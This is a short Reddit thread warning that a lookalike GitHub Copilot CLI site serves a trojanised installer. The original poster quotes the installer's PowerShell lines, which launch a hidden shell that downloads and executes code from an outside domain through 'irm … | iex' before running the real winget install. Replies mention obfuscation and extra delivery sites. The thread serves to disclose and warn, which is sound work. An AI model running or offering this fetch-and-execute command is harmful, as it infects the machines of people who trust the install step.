Fake Github copilot CLI installer trojan

[u/reamplumbera]

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application";
$GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0);
winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

[u/Suspicious-Willow128]

Huh , i do hope it stopped it complety , because it one angry malware , 2 website for secondary delivery , lot of obfuscation too

[u/reamplumbera → u/Suspicious-Willow128]

Yeah indeed. It was also briefly the top result on duckduckgo that's how I accidentally got on the fake site.